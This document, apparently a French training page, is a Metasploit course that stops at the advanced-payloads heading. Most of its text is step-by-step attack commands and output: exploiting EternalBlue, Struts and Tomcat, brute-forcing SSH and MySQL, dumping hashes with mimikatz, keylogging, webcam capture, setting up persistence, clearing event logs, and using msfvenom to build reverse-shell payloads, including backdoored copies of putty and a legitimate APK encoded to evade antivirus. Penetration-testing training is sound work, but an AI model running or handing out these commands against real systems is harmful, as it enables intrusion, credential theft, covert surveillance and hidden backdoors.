Aucun résultat pour cette recherche.
Cours Complet Metasploit - De A à Z¶
Table des Matières¶
- Introduction à Metasploit
- Installation et Configuration
- Architecture de Metasploit
- Interface et Commandes de Base
- Reconnaissance et Scanning
- Exploitation de Vulnérabilités
- Post-Exploitation
- Meterpreter en Détail
- Payloads et Encodeurs
- Techniques Avancées
- Scripts et Automatisation
- Cas Pratiques Complets
1. Introduction à Metasploit¶
1.1 Qu’est-ce que Metasploit ?¶
Metasploit Framework est le framework de test d’intrusion le plus populaire au monde. Développé initialement par H.D. Moore en 2003, il est maintenant maintenu par Rapid7.
Utilisations légitimes : - Tests de pénétration autorisés - Recherche en sécurité - Validation de vulnérabilités - Formation en cybersécurité - Développement de détections
Composants principaux : - msfconsole : Interface en ligne de commande interactive - msfvenom : Générateur de payloads - msfdb : Gestion de la base de données - Exploits : Code pour exploiter des vulnérabilités - Payloads : Code exécuté après exploitation - Auxiliaires : Modules pour scanning, fuzzing, etc.
1.2 Concepts Clés¶
┌─────────────────────────────────────────────┐
│ WORKFLOW METASPLOIT │
├─────────────────────────────────────────────┤
│ │
│ 1. RECONNAISSANCE │
│ └─> Scan réseau, énumération │
│ │
│ 2. SCANNING │
│ └─> Identification de vulnérabilités │
│ │
│ 3. EXPLOITATION │
│ └─> Exploit + Payload = Accès │
│ │
│ 4. POST-EXPLOITATION │
│ └─> Élévation, pivoting, exfiltration │
│ │
│ 5. MAINTIEN D'ACCÈS │
│ └─> Backdoors, persistence │
│ │
└─────────────────────────────────────────────┘
2. Installation et Configuration¶
2.1 Installation sur Kali Linux¶
Metasploit est préinstallé sur Kali Linux. Pour vérifier :
# Vérifier l'installation
msfconsole --version
# Mettre à jour Metasploit
sudo apt update
sudo apt install metasploit-framework
2.2 Installation sur d’autres distributions Linux¶
# Ubuntu/Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# Après installation
msfdb init
2.3 Configuration de la Base de Données PostgreSQL¶
Metasploit utilise PostgreSQL pour stocker les résultats :
# Initialiser la base de données
sudo msfdb init
# Vérifier le statut
sudo msfdb status
# Réinitialiser si nécessaire
sudo msfdb delete
sudo msfdb init
# Démarrer msfconsole et vérifier la connexion DB
msfconsole
msf6 > db_status
2.4 Configuration Initiale Recommandée¶
# Créer un workspace pour vos tests
msf6 > workspace -a mon_projet
# Configurer les logs
msf6 > spool /tmp/msf_console.log
# Activer les couleurs
msf6 > setg PromptChar ">"
msf6 > setg TimestampOutput true
3. Architecture de Metasploit¶
3.1 Structure des Modules¶
/usr/share/metasploit-framework/
├── modules/
│ ├── exploits/ # Exploits classés par système
│ │ ├── windows/
│ │ ├── linux/
│ │ ├── multi/
│ │ ├── android/
│ │ └── ...
│ ├── payloads/ # Code à exécuter après exploit
│ │ ├── singles/ # Standalone
│ │ ├── stagers/ # Étape 1 (petit)
│ │ └── stages/ # Étape 2 (complet)
│ ├── auxiliary/ # Scanners, fuzzers, etc.
│ ├── post/ # Post-exploitation
│ ├── encoders/ # Encodage de payloads
│ └── nops/ # No-operation generators
├── data/
├── lib/
└── tools/
3.2 Types de Modules¶
1. Exploits - Modules qui exploitent des vulnérabilités spécifiques - Classés par plateforme et service
2. Auxiliaires - Scanners (ports, services, vulnérabilités) - Fuzzers - Sniffers - Outils d’énumération
3. Payloads - Singles : Tout-en-un, autonome - Stagers : Petit payload qui télécharge le stage - Stages : Payload complet (ex: Meterpreter)
4. Post-exploitation - Collecte d’informations - Élévation de privilèges - Pivoting - Persistence
5. Encoders - Obfuscation de payloads - Contournement d’antivirus
3.3 Convention de Nommage¶
type/os/service/nom_exploit
Exemples :
exploit/windows/smb/ms17_010_eternalblue
auxiliary/scanner/smb/smb_version
payload/windows/x64/meterpreter/reverse_tcp
post/windows/gather/hashdump
4. Interface et Commandes de Base¶
4.1 Démarrage de msfconsole¶
# Démarrer Metasploit console
msfconsole
# Démarrer sans bannière (plus rapide)
msfconsole -q
# Charger un fichier de ressources
msfconsole -r script.rc
4.2 Commandes Essentielles¶
Navigation et Recherche¶
# Rechercher un module
msf6 > search eternalblue
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017 rank:excellent
# Filtres de recherche
msf6 > search type:auxiliary port:445
msf6 > search name:apache
msf6 > search author:metasploit
# Utiliser un module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# Retourner en arrière
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
# Afficher les informations d'un module
msf6 > info exploit/windows/smb/ms17_010_eternalblue
Configuration des Options¶
# Afficher les options requises
msf6 exploit(ms17_010_eternalblue) > show options
# Définir une option
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set RPORT 445
# Définir globalement (pour tous les modules)
msf6 > setg RHOSTS 192.168.1.0/24
# Voir/annuler une variable
msf6 exploit(ms17_010_eternalblue) > get RHOSTS
msf6 exploit(ms17_010_eternalblue) > unset RHOSTS
# Voir les variables globales
msf6 > getg
Payloads¶
# Lister les payloads compatibles
msf6 exploit(ms17_010_eternalblue) > show payloads
# Définir un payload
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
# Configurer le payload
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
Exécution¶
# Vérifier la configuration
msf6 exploit(ms17_010_eternalblue) > check
# Exploiter
msf6 exploit(ms17_010_eternalblue) > exploit
# ou
msf6 exploit(ms17_010_eternalblue) > run
# Exploiter en arrière-plan
msf6 exploit(ms17_010_eternalblue) > exploit -j
# Exploiter avec options temporaires
msf6 exploit(ms17_010_eternalblue) > exploit RHOSTS=192.168.1.100
Gestion des Sessions¶
# Lister les sessions actives
msf6 > sessions -l
# Interagir avec une session
msf6 > sessions -i 1
# Exécuter une commande sur une session
msf6 > sessions -c "sysinfo" 1
# Tuer une session
msf6 > sessions -k 1
# Mettre une session en arrière-plan (depuis la session)
meterpreter > background
4.3 Commandes de Base de Données¶
# Vérifier la connexion DB
msf6 > db_status
# Workspaces
msf6 > workspace # Lister
msf6 > workspace -a test_lab # Créer
msf6 > workspace test_lab # Basculer
msf6 > workspace -d test_lab # Supprimer
# Importer des résultats de scan
msf6 > db_import scan_nmap.xml
# Gérer les hôtes
msf6 > hosts # Lister
msf6 > hosts -a 192.168.1.100 # Ajouter
msf6 > hosts -d 192.168.1.100 # Supprimer
# Gérer les services
msf6 > services # Lister
msf6 > services -p 445 # Filtrer par port
# Gérer les vulnérabilités
msf6 > vulns # Lister
# Gérer les credentials
msf6 > creds # Lister
msf6 > creds -a # Ajouter
4.4 Aide et Documentation¶
# Aide générale
msf6 > help
# Aide sur une commande spécifique
msf6 > help search
msf6 > help set
# Informations détaillées sur un module
msf6 > info exploit/windows/smb/ms17_010_eternalblue
# Afficher les options avancées
msf6 exploit(ms17_010_eternalblue) > show advanced
5. Reconnaissance et Scanning¶
5.1 Intégration avec Nmap¶
# Scanner depuis msfconsole
msf6 > db_nmap -sV -sC -O 192.168.1.0/24
# Scanner spécifique
msf6 > db_nmap -p 445,139 --script smb-vuln* 192.168.1.0/24
# Les résultats sont automatiquement stockés dans la DB
msf6 > hosts
msf6 > services
5.2 Modules Auxiliaires de Scanning¶
Découverte d’Hôtes¶
# ARP Sweep (réseau local)
msf6 > use auxiliary/scanner/discovery/arp_sweep
msf6 auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(arp_sweep) > set THREADS 10
msf6 auxiliary(arp_sweep) > run
# UDP Sweep
msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(udp_sweep) > run
Énumération SMB¶
# Version SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 20
msf6 auxiliary(smb_version) > run
# Énumération de partages SMB
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(smb_enumshares) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_enumshares) > set SMBUser admin
msf6 auxiliary(smb_enumshares) > set SMBPass password123
msf6 auxiliary(smb_enumshares) > run
# Énumération d'utilisateurs SMB
msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 auxiliary(smb_enumusers) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_enumusers) > run
# Scanner de vulnérabilités SMB
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > run
Énumération SSH¶
# Version SSH
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(ssh_version) > run
# Brute force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(ssh_login) > set USERNAME root
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ssh_login) > set THREADS 5
msf6 auxiliary(ssh_login) > set VERBOSE false
msf6 auxiliary(ssh_login) > run
Énumération HTTP/HTTPS¶
# Scanner de répertoires web
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(dir_scanner) > set RHOSTS 192.168.1.100
msf6 auxiliary(dir_scanner) > set THREADS 10
msf6 auxiliary(dir_scanner) > run
# Énumération de fichiers
msf6 > use auxiliary/scanner/http/files_dir
msf6 auxiliary(files_dir) > set RHOSTS 192.168.1.100
msf6 auxiliary(files_dir) > run
# Détection d'applications web
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(http_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(http_version) > run
# Scanner Apache Tomcat
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(tomcat_mgr_login) > run
Énumération MySQL¶
# Scanner MySQL
msf6 > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(mysql_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(mysql_version) > run
# Brute force MySQL
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(mysql_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(mysql_login) > set USERNAME root
msf6 auxiliary(mysql_login) > set PASS_FILE /usr/share/wordlists/passwords.txt
msf6 auxiliary(mysql_login) > run
# Énumération de bases de données
msf6 > use auxiliary/admin/mysql/mysql_enum
msf6 auxiliary(mysql_enum) > set RHOSTS 192.168.1.100
msf6 auxiliary(mysql_enum) > set USERNAME root
msf6 auxiliary(mysql_enum) > set PASSWORD toor
msf6 auxiliary(mysql_enum) > run
5.3 Scan Complet Automatisé¶
# Créer un fichier de ressources pour scan automatique
# Fichier: auto_scan.rc
workspace -a auto_scan
db_nmap -sV -sC -O -T4 192.168.1.0/24
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 20
run
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run
hosts
services
# Exécuter le script
msfconsole -r auto_scan.rc
6. Exploitation de Vulnérabilités¶
6.1 Exemple Complet : EternalBlue (MS17-010)¶
Contexte : Vulnérabilité critique dans SMBv1 (Windows 7, Server 2008, etc.)
Étape 1 : Vérification de la vulnérabilité¶
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_ms17_010) > run
[+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
Étape 2 : Configuration de l’exploit¶
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
# Configuration
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set RPORT 445
# Choisir un payload
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
# Afficher la configuration
msf6 exploit(ms17_010_eternalblue) > show options
Étape 3 : Vérification avant exploitation¶
msf6 exploit(ms17_010_eternalblue) > check
[*] 192.168.1.100:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.100:445 - The target is vulnerable.
Étape 4 : Exploitation¶
msf6 exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.100:445 - Connecting to target for exploitation
[+] 192.168.1.100:445 - Connection established
[*] 192.168.1.100:445 - Sending stage (200774 bytes)
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49158)
meterpreter >
6.2 Exemple : Exploitation Apache Struts (CVE-2017-5638)¶
# Rechercher l'exploit
msf6 > search struts cve:2017
# Utiliser l'exploit
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2_content_type_ognl) > set RHOSTS 192.168.1.200
msf6 exploit(struts2_content_type_ognl) > set RPORT 8080
msf6 exploit(struts2_content_type_ognl) > set TARGETURI /struts2-showcase/
# Payload Linux
msf6 exploit(struts2_content_type_ognl) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(struts2_content_type_ognl) > set LHOST 192.168.1.50
msf6 exploit(struts2_content_type_ognl) > set LPORT 4444
msf6 exploit(struts2_content_type_ognl) > check
msf6 exploit(struts2_content_type_ognl) > exploit
6.3 Exemple : Exploitation Tomcat Manager¶
# Brute force des credentials
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.150
msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(tomcat_mgr_login) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
msf6 auxiliary(tomcat_mgr_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
msf6 auxiliary(tomcat_mgr_login) > run
[+] 192.168.1.150:8080 - LOGIN SUCCESSFUL: tomcat:tomcat
# Exploitation avec les credentials trouvés
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(tomcat_mgr_upload) > set RHOSTS 192.168.1.150
msf6 exploit(tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
msf6 exploit(tomcat_mgr_upload) > set LHOST 192.168.1.50
msf6 exploit(tomcat_mgr_upload) > exploit
6.4 Exemple : Exploitation UnrealIRCd Backdoor¶
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unreal_ircd_3281_backdoor) > set RHOSTS 192.168.1.180
msf6 exploit(unreal_ircd_3281_backdoor) > set RPORT 6667
msf6 exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
msf6 exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.1.50
msf6 exploit(unreal_ircd_3281_backdoor) > exploit
[*] Command shell session 1 opened
# Upgrade vers Meterpreter
msf6 > sessions -u 1
6.5 Gestion des Exploits Échoués¶
# Augmenter la verbosité
msf6 exploit(module) > set VERBOSE true
# Essayer des options avancées
msf6 exploit(module) > show advanced
msf6 exploit(module) > set AutoVerifySession false
# Essayer un payload différent
msf6 exploit(module) > show payloads
msf6 exploit(module) > set payload windows/shell/reverse_tcp
# Vérifier les logs
msf6 > cat ~/.msf4/logs/framework.log
7. Post-Exploitation¶
7.1 Collecte d’Informations Système¶
# Une fois en session Meterpreter
meterpreter > sysinfo
meterpreter > getuid
meterpreter > pwd
meterpreter > ipconfig
meterpreter > route
# Lister les processus
meterpreter > ps
# Informations réseau détaillées
meterpreter > netstat
meterpreter > arp
7.2 Modules Post-Exploitation Windows¶
Extraction de Mots de Passe¶
# Dump des hashs (nécessite SYSTEM)
meterpreter > hashdump
# Si pas assez de privilèges, migrer vers un processus SYSTEM
meterpreter > ps
meterpreter > migrate 668 # PID d'un processus SYSTEM
# Utiliser mimikatz pour extraire les passwords
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug
meterpreter > kiwi_cmd sekurlsa::logonpasswords
meterpreter > creds_all
# Ou via module post
meterpreter > background
msf6 > use post/windows/gather/smart_hashdump
msf6 post(smart_hashdump) > set SESSION 1
msf6 post(smart_hashdump) > run
Énumération Système¶
# Collecter les informations système
meterpreter > background
msf6 > use post/windows/gather/enum_logged_on_users
msf6 post(enum_logged_on_users) > set SESSION 1
msf6 post(enum_logged_on_users) > run
# Énumération des applications installées
msf6 > use post/windows/gather/enum_applications
msf6 post(enum_applications) > set SESSION 1
msf6 post(enum_applications) > run
# Énumération des patches
msf6 > use post/windows/gather/enum_patches
msf6 post(enum_patches) > set SESSION 1
msf6 post(enum_patches) > run
# Recherche de fichiers sensibles
msf6 > use post/windows/gather/enum_files
msf6 post(enum_files) > set SESSION 1
msf6 post(enum_files) > set FILE_GLOBS *.txt,*.doc,*.xls,*.pdf
msf6 post(enum_files) > run
Élévation de Privilèges¶
# Suggérer des exploits locaux
meterpreter > background
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run
# Exemple : BypassUAC
msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 exploit(bypassuac_fodhelper) > set SESSION 1
msf6 exploit(bypassuac_fodhelper) > set LHOST 192.168.1.50
msf6 exploit(bypassuac_fodhelper) > exploit
# Token Impersonation
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
Keylogging¶
# Démarrer le keylogger
meterpreter > keyscan_start
# Attendre un peu...
meterpreter > keyscan_dump
# Arrêter le keylogger
meterpreter > keyscan_stop
Capture d’Écran et Webcam¶
# Capture d'écran
meterpreter > screenshot
# Enregistrer dans un fichier spécifique
meterpreter > screenshot /tmp/capture.png
# Webcam
meterpreter > webcam_list
meterpreter > webcam_snap
meterpreter > webcam_stream
7.3 Post-Exploitation Linux¶
Collecte d’Informations¶
# Hash dump Linux
meterpreter > background
msf6 > use post/linux/gather/hashdump
msf6 post(hashdump) > set SESSION 1
msf6 post(hashdump) > run
# Énumération de configuration
msf6 > use post/linux/gather/enum_configs
msf6 post(enum_configs) > set SESSION 1
msf6 post(enum_configs) > run
# Énumération réseau
msf6 > use post/linux/gather/enum_network
msf6 post(enum_network) > set SESSION 1
msf6 post(enum_network) > run
# Chercher des fichiers sensibles
msf6 > use post/linux/gather/checkvm
msf6 post(checkvm) > set SESSION 1
msf6 post(checkvm) > run
Élévation de Privilèges Linux¶
# Suggérer des exploits
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run
# Exemple : Dirty COW
msf6 > use exploit/linux/local/dirtycow
msf6 exploit(dirtycow) > set SESSION 1
msf6 exploit(dirtycow) > exploit
7.4 Persistence¶
Windows Persistence¶
# Registry Run Key
meterpreter > background
msf6 > use exploit/windows/local/registry_persistence
msf6 exploit(registry_persistence) > set SESSION 1
msf6 exploit(registry_persistence) > set LHOST 192.168.1.50
msf6 exploit(registry_persistence) > exploit
# Service Persistence
msf6 > use exploit/windows/local/persistence_service
msf6 exploit(persistence_service) > set SESSION 1
msf6 exploit(persistence_service) > exploit
# Scheduled Task
msf6 > use exploit/windows/local/s4u_persistence
msf6 exploit(s4u_persistence) > set SESSION 1
msf6 exploit(s4u_persistence) > set TRIGGER logon
msf6 exploit(s4u_persistence) > exploit
Linux Persistence¶
# Cron job
msf6 > use exploit/linux/local/cron_persistence
msf6 exploit(cron_persistence) > set SESSION 1
msf6 exploit(cron_persistence) > set LHOST 192.168.1.50
msf6 exploit(cron_persistence) > exploit
# SSH Key
meterpreter > upload /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
7.5 Pivoting¶
# Ajouter une route vers un réseau interne
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > run autoroute -p
# Port forwarding local
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.50
# SOCKS Proxy
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -j
# Configurer proxychains
# /etc/proxychains4.conf
# socks4 127.0.0.1 1080
# Utiliser avec d'autres outils
proxychains nmap -sT -Pn 10.10.10.0/24
8. Meterpreter en Détail¶
8.1 Comprendre Meterpreter¶
Meterpreter (Meta-Interpreter) est un payload avancé qui : - S’exécute entièrement en mémoire (stealthier) - Utilise des canaux de communication chiffrés - Est extensible via des modules - Ne crée pas de nouveaux processus
Types de Meterpreter :
- windows/meterpreter/reverse_tcp : Stager Windows
- windows/meterpreter_reverse_tcp : Single (tout-en-un)
- linux/x64/meterpreter/reverse_tcp : Linux 64-bit
- android/meterpreter/reverse_tcp : Android
- java/meterpreter/reverse_tcp : Multi-plateforme Java
8.2 Commandes Essentielles Meterpreter¶
Système de Fichiers¶
# Navigation
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users\\Admin\\Desktop
meterpreter > cat passwords.txt
# Recherche de fichiers
meterpreter > search -f *.txt
meterpreter > search -d C:\\Users -f *.doc
# Upload/Download
meterpreter > upload /root/backdoor.exe C:\\Windows\\Temp\\
meterpreter > download C:\\Users\\Admin\\Documents\\secret.doc /tmp/
# Exécution de commandes
meterpreter > execute -f cmd.exe -i -H
meterpreter > execute -f notepad.exe -a "C:\\temp\\file.txt"
Gestion de Processus¶
# Lister les processus
meterpreter > ps
# Migrer vers un autre processus
meterpreter > migrate 1234
# Tuer un processus
meterpreter > kill 5678
# Obtenir le PID actuel
meterpreter > getpid
Shell et Commandes Système¶
# Ouvrir un shell système
meterpreter > shell
C:\> whoami
C:\> exit
# Exécuter une commande unique
meterpreter > execute -f cmd.exe -a "/c whoami" -c
Réseaux¶
# Informations réseau
meterpreter > ifconfig
meterpreter > route
meterpreter > arp
meterpreter > netstat
# Port forwarding
meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.100
meterpreter > portfwd list
meterpreter > portfwd delete -l 8080
8.3 Extensions Meterpreter¶
Kiwi (Mimikatz)¶
# Charger Kiwi
meterpreter > load kiwi
# Commandes disponibles
meterpreter > help kiwi
# Extraire les credentials
meterpreter > creds_all
meterpreter > creds_msv
meterpreter > creds_kerberos
meterpreter > creds_wdigest
# Golden ticket
meterpreter > golden_ticket_create -u Administrator -d domain.local -s S-1-5-21-... -k krbtgt_hash
Incognito (Token Impersonation)¶
# Charger Incognito
meterpreter > load incognito
# Lister les tokens disponibles
meterpreter > list_tokens -u
meterpreter > list_tokens -g
# Usurper un token
meterpreter > impersonate_token "DOMAIN\\Administrator"
# Revenir au token original
meterpreter > rev2self
Sniffer¶
# Charger le sniffer
meterpreter > load sniffer
# Lister les interfaces
meterpreter > sniffer_interfaces
# Démarrer la capture
meterpreter > sniffer_start 1 50000
# Statistiques
meterpreter > sniffer_stats 1
# Sauvegarder la capture
meterpreter > sniffer_dump 1 /tmp/capture.pcap
# Arrêter
meterpreter > sniffer_stop 1
Python Interpreter¶
# Charger Python
meterpreter > load python
# Exécuter du code Python
meterpreter > python_execute "print('Hello from Python')"
meterpreter > python_execute "import os; os.system('whoami')"
8.4 Scripts Meterpreter¶
# Automatiser des tâches courantes
meterpreter > run post/windows/gather/checkvm
meterpreter > run post/windows/manage/killav
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run post/windows/gather/credentials/windows_autologin
# Script de migration automatique
meterpreter > run migrate
# Cleanup tracks
meterpreter > clearev
8.5 Upgrade de Shell vers Meterpreter¶
# Si vous avez un shell basique
msf6 > sessions -l
msf6 > sessions -u 1
# Ou manuellement
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(shell_to_meterpreter) > set SESSION 1
msf6 post(shell_to_meterpreter) > set LHOST 192.168.1.50
msf6 post(shell_to_meterpreter) > run
9. Payloads et Encodeurs¶
9.1 Comprendre les Payloads¶
Singles vs Staged :
# Single (tout-en-un, plus gros)
windows/shell_reverse_tcp # Shell simple
windows/meterpreter_reverse_tcp # Meterpreter complet
# Staged (2 parties : stager petit + stage gros)
windows/shell/reverse_tcp # Stager + shell
windows/meterpreter/reverse_tcp # Stager + meterpreter
Avantages Singles : - Autonome, pas de second stage - Fonctionne même avec connexions instables
Avantages Staged : - Stager très petit (utile pour petits buffer overflows) - Stage ne traverse pas le réseau (moins de détection)
9.2 MSFVenom - Générateur de Payloads¶
Syntaxe de Base¶
msfvenom -p <payload> <options> -f <format> -o <output>
Exemples Windows¶
# EXE reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f exe -o backdoor.exe
# EXE 64-bit
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f exe -o backdoor64.exe
# DLL
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f dll -o backdoor.dll
# MSI (Windows Installer)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f msi -o installer.msi
# Service executable
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f exe-service -o service.exe
# Shellcode en C
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f c -o shellcode.c
Exemples Linux¶
# ELF binary
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f elf -o backdoor.elf
# Shellcode pour exploitation
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f python -o shellcode.py
Exemples Web¶
# PHP
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o shell.php
# ASP
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f asp -o shell.asp
# ASPX
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f aspx -o shell.aspx
# JSP
msfvenom -p java/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f war -o shell.war
# Python
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o shell.py
Exemples Mobile¶
# Android APK
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-o malicious.apk
# APK avec injection dans app légitime
msfvenom -x legitimate.apk \
-p android/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-o injected.apk
9.3 Encodeurs¶
Lister les Encodeurs¶
msfvenom --list encoders
Utiliser des Encodeurs¶
# Encoder une fois avec x86/shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x86/shikata_ga_nai \
-f exe -o encoded.exe
# Encoder 10 fois (plus de bypass AV)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-f exe -o encoded10.exe
# Utiliser plusieurs encodeurs
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x86/countdown -e x86/shikata_ga_nai \
-f exe -o multi_encoded.exe
Encodeurs Communs¶
# x86 (32-bit)
x86/shikata_ga_nai # Polymorphique, très utilisé
x86/call4_dword_xor # XOR encoder
x86/countdown # Countdown encoder
# x64 (64-bit)
x64/xor # Simple XOR
x64/zutto_dekiru # Polymorphique
# CMD
cmd/powershell_base64 # Encode en base64 pour PowerShell
9.4 Templates et Injection¶
# Injecter payload dans un EXE légitime
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-x putty.exe \
-k \
-f exe -o putty_backdoor.exe
# -x : template (fichier original)
# -k : keep template behavior (préserve fonctionnalité)
# Utiliser un template personnalisé
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-x /path/to/template.exe \
-k -f exe -o output.exe
9.5 Formats de Sortie¶
# Lister tous les formats
msfvenom --list formats
# Formats communs
-f exe # Windows executable
-f elf # Linux executable
-f dll # Windows DLL
-f war # Java WAR
-f raw # Raw shellcode
-f c # C code
-f python # Python code
-f powershell # PowerShell script
-f vba # VBA macro
-f asp # ASP web shell
-f aspx # ASPX web shell
-f php # PHP web shell
9.6 Écouter les Connexions (Handler)¶
# Méthode 1 : Multi/handler
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.1.50
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j # -j pour background
# Méthode 2 : Via fichier de ressources
# handler.rc:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j
# Lancer
msfconsole -r handler.rc
9.7 Payloads Avancés¶
